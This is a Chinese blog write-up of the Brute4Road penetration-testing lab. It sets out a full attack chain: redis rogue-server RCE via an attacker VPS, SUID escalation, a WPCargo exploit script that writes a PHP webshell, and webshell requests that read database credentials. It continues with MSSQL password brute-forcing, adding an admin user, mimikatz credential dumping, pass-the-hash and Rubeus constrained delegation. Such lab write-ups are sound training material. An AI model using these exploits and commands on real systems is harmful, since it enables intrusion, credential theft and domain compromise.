内网渗透技战法-春秋云境Brute4Road靶场

Brute4Road

考点:

  1. redis未授权主从复制rce+suid提权

  2. ftp匿名登录

  3. wpcargo的cve写图片马

  4. 数据库内拿字典进行mssql弱口令爆破

  5. ‍利用Rubues进行约束性委派攻击

外网打点

fscan扫出来redis未授权漏洞(6379端口)

root@VM-0-10-ubuntu:~# ./fscan -h 39.99.232.41
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.0

[2025-12-10 18:57:15] [INFO] 暴力破解线程数: 1
[2025-12-10 18:57:15] [INFO] 开始信息扫描
[2025-12-10 18:57:15] [INFO] 最终有效主机数量: 1
[2025-12-10 18:57:16] [INFO] 开始主机扫描
[2025-12-10 18:57:16] [INFO] 有效端口数量: 233
[2025-12-10 18:57:16] [SUCCESS] 端口开放 39.99.232.41:21
[2025-12-10 18:57:16] [SUCCESS] 端口开放 39.99.232.41:22
[2025-12-10 18:57:16] [SUCCESS] 端口开放 39.99.232.41:80
[2025-12-10 18:57:16] [SUCCESS] 端口开放 39.99.232.41:6379
[2025-12-10 18:57:16] [SUCCESS] 服务识别 39.99.232.41:21 => [ftp] 版本:3.0.2 产品:vsftpd 系统:Unix Banner:[220 (vsFTPd 3.0.2).]
[2025-12-10 18:57:16] [SUCCESS] 服务识别 39.99.232.41:22 => [ssh] 版本:7.4 产品:OpenSSH 信息:protocol 2.0 Banner:[SSH-2.0-OpenSSH_7.4.]
[2025-12-10 18:57:21] [SUCCESS] 服务识别 39.99.232.41:80 => [http] 版本:1.20.1 产品:nginx
[2025-12-10 18:57:21] [SUCCESS] 服务识别 39.99.232.41:6379 => [redis] 版本:5.0.12 产品:Redis key-value store
[2025-12-10 18:57:21] [INFO] 存活端口数量: 4
[2025-12-10 18:57:21] [INFO] 开始漏洞扫描
[2025-12-10 18:57:21] [INFO] 加载的插件: ftp, redis, ssh, webpoc, webtitle
[2025-12-10 18:57:21] [SUCCESS] 网站标题 http://39.99.232.41       状态码:200 长度:4833   标题:Welcome to CentOS
[2025-12-10 18:57:22] [SUCCESS] 匿名登录成功!
[2025-12-10 18:57:24] [SUCCESS] Redis 39.99.232.41:6379 发现未授权访问 文件位置:/usr/local/redis/db/dump.rdb
[2025-12-10 18:57:28] [SUCCESS] Redis无密码连接成功: 39.99.232.41:6379
[2025-12-10 18:57:30] [SUCCESS] 扫描已完成: 5/5

redis未授权写ssh公钥和写计划任务反弹shell都没权限,只能打主从复制,照着步骤打就行

python3 redis-rogue-server.py --rhost 39.99.154.121 --lhost vpsip --exp exp.so

image-20260104205716-8qqyt79

之后上线,配代理

提权

suid提权

image-20251210193846-cazuf9x

内网打点

ip和ifconfig都不能用,用netstat -ano看一下内网ip是172.22.2.7

image-20251210192717-0buoeda

[+] 目标 172.22.2.3      存活 (ICMP)
[+] 目标 172.22.2.7      存活 (ICMP)
[+] 目标 172.22.2.16     存活 (ICMP)
[+] 目标 172.22.2.18     存活 (ICMP)
[+] 目标 172.22.2.34     存活 (ICMP)
[+] ICMP存活主机数量: 5
[*] 共解析 218 个有效端口
[+] 端口开放 172.22.2.18:80
[+] 端口开放 172.22.2.16:80
[+] 端口开放 172.22.2.18:22
[+] 端口开放 172.22.2.7:80
[+] 端口开放 172.22.2.7:22
[+] 端口开放 172.22.2.7:21
[+] 端口开放 172.22.2.7:8989
[+] 端口开放 172.22.2.16:1433
[+] 端口开放 172.22.2.7:6379
[+] 端口开放 172.22.2.34:445
[+] 端口开放 172.22.2.18:445
[+] 端口开放 172.22.2.16:445
[+] 端口开放 172.22.2.3:445
[+] 端口开放 172.22.2.16:139
[+] 端口开放 172.22.2.34:139
[+] 端口开放 172.22.2.18:139
[+] 端口开放 172.22.2.34:135
[+] 端口开放 172.22.2.3:139
[+] 端口开放 172.22.2.3:135
[+] 端口开放 172.22.2.16:135
[+] 端口开放 172.22.2.3:88
[+] 存活端口数量: 21
[*] 开始漏洞扫描...
[+] Redis扫描模块开始...
[!] 扫描错误 172.22.2.34:445 - read tcp 172.22.2.7:46850->172.22.2.34:445: read: connection reset by peer
[*] 网站标题 http://172.22.2.16        状态码:404 长度:315    标题:Not Found
[*] NetInfo
[*] 172.22.2.34
   [->] CLIENT01
   [->] 172.22.2.34
[*] NetInfo
[*] 172.22.2.3
   [->] DC
   [->] 172.22.2.3
[*] NetBios 172.22.2.34     XIAORANG\CLIENT01           
[!] 扫描错误 172.22.2.3:88 - Get "http://172.22.2.3:88": read tcp 172.22.2.7:54736->172.22.2.3:88: read: connection reset by peer
[*] OsInfo 172.22.2.16  (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.2.16     MSSQLSERVER.xiaorang.lab            Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.2.3      [+] DC:DC.xiaorang.lab               Windows Server 2016 Datacenter 14393
[*] NetInfo
[*] 172.22.2.16
   [->] MSSQLSERVER
   [->] 172.22.2.16
[*] OsInfo 172.22.2.3   (Windows Server 2016 Datacenter 14393)
[*] 网站标题 http://172.22.2.7         状态码:200 长度:4833   标题:Welcome to CentOS
[!] 扫描错误 172.22.2.18:445 - EOF
[*] NetBios 172.22.2.18     WORKGROUP\UBUNTU-WEB02      
[+] ftp 172.22.2.7:21:anonymous 
   [->]pub
[*] 网站标题 http://172.22.2.18        状态码:200 长度:57738  标题:又一个WordPress站点
[!] 扫描错误 172.22.2.16:1433 - mssql: login error: 用户 'sql' 登录失败。
[+] Redis 172.22.2.7:6379 发现未授权访问 文件位置:/usr/local/redis/db/exp.so
[!] 扫描错误 172.22.2.7:8989 - Get "http://172.22.2.7:8989": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[!] 扫描错误 172.22.2.7:22 - ssh: handshake failed: ssh: unable to authenticate, attempted methods [none], no supported methods remain
[!] 扫描错误 172.22.2.18:22 - 扫描总时间超时: context deadline exceeded
[+] 扫描已完成: 21/21
[*] 扫描结束,耗时: 14.176508825s

[+] ftp 172.22.2.7:21:anonymous

先打这个ftp匿名登录

ftp常用命令

1、help、?、rhelp

①help显示LOCAL端(本地端)的命令说明,若不接受则显示所有可用命令;

②?,相当于help,例如:?cd;

③rhelp同help,只是它用来显示REMOTE端(远程端)的命令说明。

2、ascii、binary、Image、type

①ascii切换传输模式为文字模式;

②binary切换传输模式为二进制模式;

③image相当于binary;

④type用于更改或显示目前传输模式。

3、bye、quit

①bye退出FTP服务器;

②quit相当于bye。

4、cd、cdup、lcd、pwd、!

①cd改变当前工作目录;

②cdup回到上一层目录,相当于“cd..”;

③Icd用于更改或显示LOCAL端的工作目录;

④pwd显示目前的工作目录(REMOTE端);

⑤!,用于执行外壳命令,例如“!ls”。

5、delete、mdelete、rename

①delete删除REMOTE端的文件:

②mdelete批量删除文件;

③rename更改REMOTE端的文件名。

6、get、mget、put、mput、recv、send

①get下载文件;

②mget批量下载文件;

③put上传文件;

④mput批量上传文件;

⑤recv相当于get;

⑥send相当于put。

7、hash、verbose、status、bell

①hash当有数据传送时,显示号,每一个号表示传送了1024B或8192b;

②verbose切换所有文件传输过程的显示;

③status显示目前的一些参数;

④bell当指令做完时会发出叫声。

8、ls、dir、mls、mdir、mkdir、rmdir

①ls有点像Unix下的ls(list)命令;

②dir相当于“ls-l”;

③mls只是将远端某目录下的文件存于LOCAL端的某文件里;

④mdir相当于mls;

⑤mkdir像DOS下的md(创建了目录)一样;

⑥rmdir像DOS下的rd(删除了目录)一样。

9、open、close、disconnect、user

①open连接某个远端FTP服务器;

②close关闭目前的连接;

③disconnect相当于close;

④user再输入一次用户名和密码(有点像Linux下的su)。

┌──(root㉿kali)-[~/Desktop/redis-rogue-server-master]
└─# proxychains ftp 172.22.2.7                                                                                         
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Dynamic chain  ...  175.27.251.122:17888  ...  172.22.2.7:21  ...  OK
Connected to 172.22.2.7.
220 (vsFTPd 3.0.2)
Name (172.22.2.7:root): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 

里面看了一下啥东西都没有

再看http://172.22.2.18

使用wpscan扫描漏洞

image-20251210201047-tc2gnd6

再找wpcargo的cve

import sys
import binascii
import requests

# This is a magic string that when treated as pixels and compressed using the png
# algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png file
payload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'

def encode_character_code(c: int):
    return '{:08b}'.format(c).replace('0', 'x')

text = ''.join([encode_character_code(c) for c in binascii.unhexlify(payload)])[1:]

destination_url = 'http://127.0.0.1:8001/'
cmd = 'ls'

# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels.
requests.get(
    f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/webshell.php"
)

# We have uploaded a webshell - now let's use it to execute a command.
print(requests.post(
    f"{destination_url}webshell.php?1=system", data={"2": cmd}
).content.decode('ascii', 'ignore'))

之后flag藏在了数据库里

image-20251210204822-5dgg8ij

注意蚁剑连接时选择CMDLINUX

POST /webshell.php?1=system HTTP/1.1
Host: 172.22.2.18
Content-Length: 19
Pragma: no-cache
Cache-Control: no-cache
Origin: http://172.22.2.18
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.22.2.18/webshell.php?1=system
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: keep-alive

2=cat wp-config.php

读到账号和密码wpuser:WpuserEha8Fgj9

POST /webshell.php?1=system HTTP/1.1
Host: 172.22.2.18
Content-Length: 77
Pragma: no-cache
Cache-Control: no-cache
Origin: http://172.22.2.18
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.22.2.18/webshell.php?1=system
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: keep-alive

2=mysql -uwpuser -pWpuserEha8Fgj9 -e "use f1aagggghere;SELECT * FROM flag02;"

image-20251210204439-aetnb6p

除此之外还找到了一些密码

image-20251210204523-lcc59le

[!] 扫描错误 172.22.2.16:1433 - mssql: login error: 用户 'sql' 登录失败。

接下来可以用这个字典进行爆破了

proxychains -q hydra -l sa -P a.txt 172.22.2.16 mssql -f 
-l指定用户名,mssql的账号默认是sa
-L指定用户名字典
-p指定密码
-P指定密码字典
-f只要任意一个线程成功登录,Hydra 立刻终止所有其他线程并退出
或者用fscan
fscan -h 172.22.2.16 -m mssql -pwdf aa.txt
或者用超级弱口令检查工具

image-20251210210910-p3jqh7v

密码是ElGNk0iC

MDUT连接上

看一眼开3389开了吗

C:/Users/Public/sweetpotato.exe -a "netstat -ano"

image-20251211210802-behv7vf

添加rdp用户,密码要复杂一些不然无法登录

C:/Users/Public/sweetpotato.exe -a "net user hacker Admin@123456! /add"
C:/Users/Public/sweetpotato.exe -a "net localgroup administrators hacker /add"

没开3389的话

:: 启用远程桌面功能
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

:: 允许通过防火墙(Windows Defender 防火墙)
netsh advfirewall firewall add rule name="Remote Desktop" dir=in action=allow protocol=TCP localport=3389

image-20251211214447-qbuhn6l

域信息收集

C:/Users/Public/sweetpotato.exe -a "net user /domain"
C:/Users/Public/sweetpotato.exe -a "net group \"domain admins\" /domain"

image-20251211213846-uce86lk

image-20251211213938-tp7efr2

上传mimikatz收集哈希

C:/Users/Public/sweetpotato.exe -a "C:\Users\Public\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit""

结果

获得域用户凭证

XIAORANG.LAB/William : Willg1UoO6Jt
XIAORANG.LAB/MSSQLSERVER$ : 1b6c5273499db4e8c967a7c62d214bf1

William是域用户,密码过期

image-20260105210427-gh18rpt

经过枚举尝试,域内机器172.22.2.34成功登录

proxychains rdesktop 172.22.2.34 -d xiaorang.lab -u William -p Willg1UoO6Jt -z

修改密码后

image-20260105210816-rfqmfz0

没有远程登录的权限,利用明文密码进行PTH

proxychains nmap -Pn -p 445 172.22.2.34
proxychains python3 /root/Desktop/tools/wmiexec.py 'XIAORANG/William:Admin@123456!@172.22.2.34'

image-20260105211838-8f55ldp

显示filtered,需要关闭防火墙

后渗透

rdp登录

hacker:Admin@123456!

上传SharpHound导出数据包

C:/Users/Public/SweetPotato.exe -a "C:/Users/hacker/Desktop/SharpHound.exe -c all --outputdirectory C:/Users/hacker/Desktop/"

#必须用土豆提权才能执行,并且需要指定目录为C:/Users/hacker/Desktop/,然后通过rdp复制下来,不然压缩包会损坏

image-20260106213105-i9ml82x

可以打约束性委派

image-20260106213134-66mvi1k

申请机器账户MSSQLSERVER的TGT,然后使用 S4U2Self 扩展代表域管理员 Administrator 请求针对域控 LDAP 服务的票据,并将得到的票据传递到内存中

Rubeus.exe s4u /user:MSSQLSERVER$ /rc4:1b6c5273499db4e8c967a7c62d214bf1 /impersonateuser:Administrator /msdsspn:"cifs/DC.xiaorang.lab" /altservice:cifs /ptt
C:/Users/Public/sweetpotato.exe -a "C:\Users\hacker\Desktop\Rubeus.exe s4u /user:MSSQLSERVER$ /rc4:1b6c5273499db4e8c967a7c62d214bf1 /impersonateuser:Administrator /msdsspn:"cifs/DC.xiaorang.lab" /altservice:cifs /ptt"

image-20260106214310-5tyw53y

posted @ 2026-01-06 21:47  m1xian  阅读(16)  评论(0)    收藏  举报